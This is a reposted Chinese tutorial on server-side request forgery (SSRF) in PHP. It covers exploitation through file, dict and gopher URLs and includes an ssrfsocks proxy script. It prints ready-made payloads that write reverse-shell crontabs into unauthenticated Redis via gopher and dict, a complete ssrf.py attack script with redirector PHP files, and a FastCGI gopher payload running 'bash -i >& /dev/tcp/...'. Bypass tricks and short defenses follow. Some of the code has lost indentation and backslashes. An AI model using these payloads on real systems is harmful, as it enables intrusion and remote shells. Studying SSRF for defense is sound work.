【转载】浅析 SSRF 原理及利用方式

漏洞简介

SSRF(Server-side Request Forge, 服务端请求伪造)

通常用于控制 web 进而探测内网服务以及攻击内网脆弱应用

即当作跳板机,可作为 ssrfsocks 代理

漏洞产生

由于服务端提供了从其他服务器应用获取数据的功能且没有对地址和协议等做过滤和限制。

举个栗子

<?php

/**
* Check if the 'url' GET variable is set
* Example - http://localhost/?url=http://testphp.vulnweb.com/images/logo.gif
*/
if (isset($_GET['url'])){
$url = $_GET['url'];

/**
* Send a request vulnerable to SSRF since
* no validation is being done on $url
* before sending the request
*/
$image = fopen($url, 'rb');

/**
* Send the correct response headers
*/
header("Content-Type: image/png");

/**
* Dump the contents of the image
*/
fpassthru($image);
}

上面栗子中 $url 可控,通过 fopen 造成 SSRF,可以向服务器 / 外部发送请求,比如

GET /?url =file:///etc/passwd

GET /?url=dict://localhost:11211/stat

GET /?url=http://169.254.169.254/latest/meta-data/

GET /?url=dict://localhost:11211/stat

同时 file_get_contents()、curl()、fsocksopen() 均可能造成 SSRF 漏洞。

漏洞利用

在这里我们先说的是没有任何过滤的情况,且可以回显

漏洞代码 ssrf.php 如下

<?php
// curl例子 漏洞代码ssrf.php (未作任何SSRF防御)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
?>

首先 curl 查看版本以及支持的协议

root@localhost :curl -V

curl 7.54.0 (x86_64-apple-darwin17.0) libcurl/7.54.0 LibreSSL/2.0.20 zlib/1.2.11 nghttp2/1.24.0

Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp

Features: AsynchDNS IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz HTTP2 UnixSockets HTTPS-proxy

可以看到该版本支持很多协议,其中 dict 协议、gopher 协议、http/s 协议以及 file 协议使用较为广泛。

本地利用

  1. file 协议查看文件 curl -v 'file:///etc/passwd'
  2. dict 协议探测端口 curl -v 'dict://127.0.0.1:22/info'(查看 ssh 的 banner 信息) curl -v 'dict://127.0.0.1:6379/info(查看 redis 相关配置)
  3. gophergopher 协议支持 GET&POST 请求,同时在攻击内网 ftp、redis、telnet、Memcache 上有极大作用利用 gopher 协议访问 redis 反弹 shell
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

远程利用

漏洞代码 ssrf.php

  1. dict 协议探测端口 curl -v 'http://a.com/ssrf.php?url=dict://172.0.0.1:22/info' curl -v 'http://a.com/ssrf.php?url=dict://127.0.0.1:6379/info'
  2. 利用 gopher 协议访问 redis 反弹 shell
curl -v 'http://a.com/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'

漏洞代码 ssrf2.php

  1. 限制协议 HTTP/S
  2. 跳转重定向为 True,默认不跳转
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
// 限制为HTTPS、HTTP协议
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

$url = $_GET['url'];
curl($url);
?>

此时直接使用 dict 协议已经不成功,我们可以利用 302 跳转的方式来绕过 http 协议限制,举例 Discuz 的 SSRF

curl -v "http:///forum.php?mod=ajax&action=downremoteimg&message=[img]http://a.com/302.php?helo.jpg[/img]"

302.php

<?php
header("Location: dict://10.0.0.2:6379/info");#探测redsi信息

Location 302 跳转辅助脚本

<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>

比如 2016 年腾讯微博应用的 ssrf

curl -v 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://localhost/file.php'

#file.php
<?php
header("Location: file:///etc/passwd");
?>

攻击应用

web ssrf 作为跳板可攻击内网多种应用如 redis,discuz,fastcgi,memcache,webdav,struts,jboss,axis2 等应用

首先我们要探测一下目标内网 。由于服务器支持 gopher 万金油协议 ssrf+gopher=ssrfsocks,这里祭出猪猪侠前辈的 ssrfsocks.py

#!/usr/bin/env python

import sys
import socket
import thread
import binascii
import struct
import urllib
import urllib2
HOST = 'localhost'
PORT = 65432
BUFSIZ = 4096
TIMEOUT = 5
SOCKS = True
CONNECT = "gopher%3A//"

def decodesocks(req):
if req[0] != 'x04':
raise Exception('bad version number')
if req[1] != 'x01':
raise Exception('only tcp stream supported')
port = req[2:4]
host = req[4:8]
if host[0] == 'x00' and host[1] == 'x00' and host[2] == 'x00' and host[3] != 'x00':
byname = True
else:
byname = False
userid = ""
i = 8
while req[i] != 'x00':
userid += req[i]
extra = ""
if byname:
while req[i] != 'x00':
extra += req[i]
return host, port, extra

def child(sock,addr,base):
try:
if SOCKS:
req = sock.recv(BUFSIZ)
host, port, extra = decodesocks(req)
if extra == "":
dest = socket.inet_ntoa(host)
else:
dest = extra
destport, = struct.unpack("!H", port)
sock.send("x00x5a"+port+host)
data = sock.recv(BUFSIZ)
#print "sending:", data
encodeddata = urllib.quote(data)
url = base+CONNECT+dest+":"+str(destport)+"/A"+encodeddata
#print "connecting to ", url
ret = urllib2.urlopen(url,timeout=TIMEOUT)
retdata = ret.read()
#print "received:", retdata
if len(retdata) > 0:
sock.send(retdata)
sock.close()
except Exception as e:
print e
sock.close()

if __name__=='__main__': 
if len(sys.argv) != 2:
sys.exit('Usage: %s BASEURLnExample: %s "http://victim.com/xxe.php?uri="' % sys.argv[0], sys.argv[0])
base = sys.argv[1]
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))
server.listen(2)
print 'listener ready on port', PORT
try:
while 1:
client, addr = server.accept()
#print 'connection from:', addr
thread.start_new_thread(child, (client,addr,base))
except KeyboardInterrupt:
server.close()

攻击 redis 服务

常规利用方式

内网 redis(port:6379) 通常存在未授权访问的情况, 防护较弱可攻击。

首先要了解通过 redis getshell 的 exp 写成的 bash shell.sh:

echo -e "nn*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1nn"|redis-cli -h $1 -p $2 -x set 1 
redis-cli -h $1 -p $2 config set dir /var/spool/cron/ redis-cli -h $1 -p $2 config set dbfilename root 
redis-cli -h $1 -p $2 save redis-cli -h $1 -p $2 quit

执行命令 bash shell.sh 127.0.0.1 6379可在 redis 里面写入 crontab 的定时任务,本地通过nc -nvlp 2333开启监听 2333 端口来反弹 shell。

gopher 利用方式

gopher 作为万金油协议在 ssrf 进入内网后有很大作用,但是我们要将普通的请求转成适配 gopher 协议的 url,首先获取 bash 脚本对 redis 发出的访问请求,这里利用 socat 进行端口转发,转发命令

socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
  • 即将访问 4444 端口的流量转发到 6379 端口。也就是说我们 bash 请求的是 4444 端口,但是访问的还是 6379 的 redis,即端口转发。
bash shell.sh 127.0.0.1 4444 >redis.log
  • 这样就截获到 redis 的日志记录文件redis.log,贴出三叶草 JoyChou 师傅写的 gopher 转换脚本 tran2gopher.py ,具体可以看可以看 SSRF in PHP —JoyChou
#coding: utf-8
#author: JoyChou
#usage:    python tran2gopher.py socat.log
import sys

exp = ''

with open(sys.argv[1]) as f:
for line in f.readlines():
if line[0] in '><+':
continue
# 判断倒数第2、3字符串是否为r
elif line[-3:-1] == r'r':
# 如果该行只有r,将r替换成%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('n', '')
exp = exp + line
# 判断是否是空行,空行替换为%0a
elif line == 'x0a':
exp = exp + '%0a'
else:
line = line.replace('n', '')
exp = exp + line
print exp
  • 通过python tran2gopher.py redis.log将 log 改成适用 gopher 协议的 url:
*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$58%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
  • 需要注意的是,上面 url 中的$58代表 58 个字节,这里 exp 是nnn*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1nnnn共计 3+51+4=58 个字节,如果需要更改 ip, 比如 10.201.42.13,那么 $58 需要改成 $61,以此类推。

  • 最后攻击的 curl 为:

curl -v gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$58%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

dict 利用方式 dict 协议具有一个功能,比如dict://127.0.0.1:6379/config:get:dir即向服务器的端口发送config get dir并在末尾自动添加 CRLF。和 gopher 不同的是:gopher 只需要发送一个 url 而 dict 需要层层构造,所以我们只需发出以下几个请求

dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
dict://127.0.0.1:6379/config:set:dbfilename:root
dict://127.0.0.1:6379/set:1:nn*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1nn
dict://127.0.0.1:6379/save
# ssrf.py
import requests
host = '104.224.151.234'
port = '6379'
bhost = 'www.4o4notfound.org'
bport=2333
vul_httpurl = 'http://www.4o4notfound.org/ssrf.php?url='
_location = 'http://www.4o4notfound.org/302.php'
shell_location = 'http://www.4o4notfound.org/shell.php'
#1 flush db
_payload = '?s=dict%26ip={host}%26port={port}%26data=flushall'.format( host = host, port = port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#set crontab command
_payload = '?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport={bport}'.format( host = host, port = port, bhost = bhost, bport = bport)
exp_uri = '{vul_httpurl}{0}{1}'.format(shell_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri 
print requests.get(exp_uri).content
#confg set dir
_payload='?s=dict%26ip={host}%26port={port}%26data=config:set:dir:/var/spool/cron/'.format( host = host, port = port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#config set dbfilename
_payload='?s=dict%26ip={host}%26port={port}%26data=config:set:dbfilename:root'.format( host = host, port = port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#save
_payload='?s=dict%26ip={host}%26port={port}%26data=save'.format( host = host, port = port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content

#302.php
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data"); ?>

#shell.php
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$bhost = $_GET['bhost'];
$bport = $_GET['bport'];
$scheme = $_GET['s'];
header("Location: $scheme://$ip:$port/set:0:"\x0a\x0a*/1\x20*\x20*\x20*\x20*\x20/bin/bash\x20-i\x20>\x26\x20/dev/tcp/{$bhost}/{$bport}\x200>\x261\x0a\x0a\x0a""); ?>

执行ssrf.py 即可写入crontab,在本地开启nc监听等待请求

攻击 FastCGI

  • 首先根据 faci_exp 生成 exp,随后改成支持 gopher 协议的 URL
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00
  • 本地监听 2333 端口,收到反弹 shell

其他 & 问题

  • 能用 SSRF 攻击的还有很多应用,比如 couchDB、Memcache、jboss、axis2、fastcgi、tomcat 等等,原理相同,不做赘述。

  • 实际测试以及阅读文章中发现 gopher 存在以下几点问题

  1. PHP 的 curl 默认不跟随 302 跳转
  2. curl7.43 上 gopher 协议存在 %00 截断的 BUG,v7.49 可用
  3. file_get_contents() 的 SSRF,gopher 协议不能使用 URLencode
  4. file_get_contents() 的 SSRF,gopher 协议的 302 跳转有 BUG 会导致利用失败

bypass

  1. 在某些情况下,后端程序可能会对访问的 URL 进行解析,对解析出来的 host 地址进行过滤。这时候可能会出现对 URL 参数解析不当,导致可以绕过过滤。如http://www.baidu.com@10.10.10.10 相当于请求 http://10.10.10.10 访问的资源是 10.10.10.10 内网资源当后端程序通过不正确的正则表达式(比如将 http 之后到 com 为止的字符内容,也就是 www.baidu.com,认为是访问请求的 host 地址时)对上述 URL 的内容进行解析的时候,很有可能会认为访问 URL 的 host 为 www.baidu.com,而实际上这个 URL 所请求的内容都是 192.168.0.1 上的内容。

  2. ip 进制转换为十进制如 http://baidu.com/?url=dict://192.168.100.1:6379/info >> http://baidu.com/?url=dict://3232261121:6379/info

  3. xip.io & xip.name

foo.bar.10.10.0.1.xip.io > 10.10.0.1

10.0.0.1.xip.io > 10.0.0.1

www.10.10.0.1.xip.name > 10.10.0.1

…

302 跳转 & 短域名 (http://tinyurl.com)

漏洞防护

  1. 服务端开启 OpenSSL 无法交互利用
  2. 服务端需要认证交互
  3. 限制协议为 HTTP、HTTPS
  4. 禁止 30x 跳转次数
  5. 设置 URL 白名单或限制内网 IP

Reference

  1. ssrf in php
  2. SSRF 漏洞的利用与学习
  3. ssrfsocks
  4. SSRF 漏洞中绕过 ip 限制的几种方法
  5. 猪猪侠乌云白帽大会 SSRF 经典议程
  6. wooyun-2016-0215419_SSRF

原文地址 https://www.anquanke.com/post/id/145519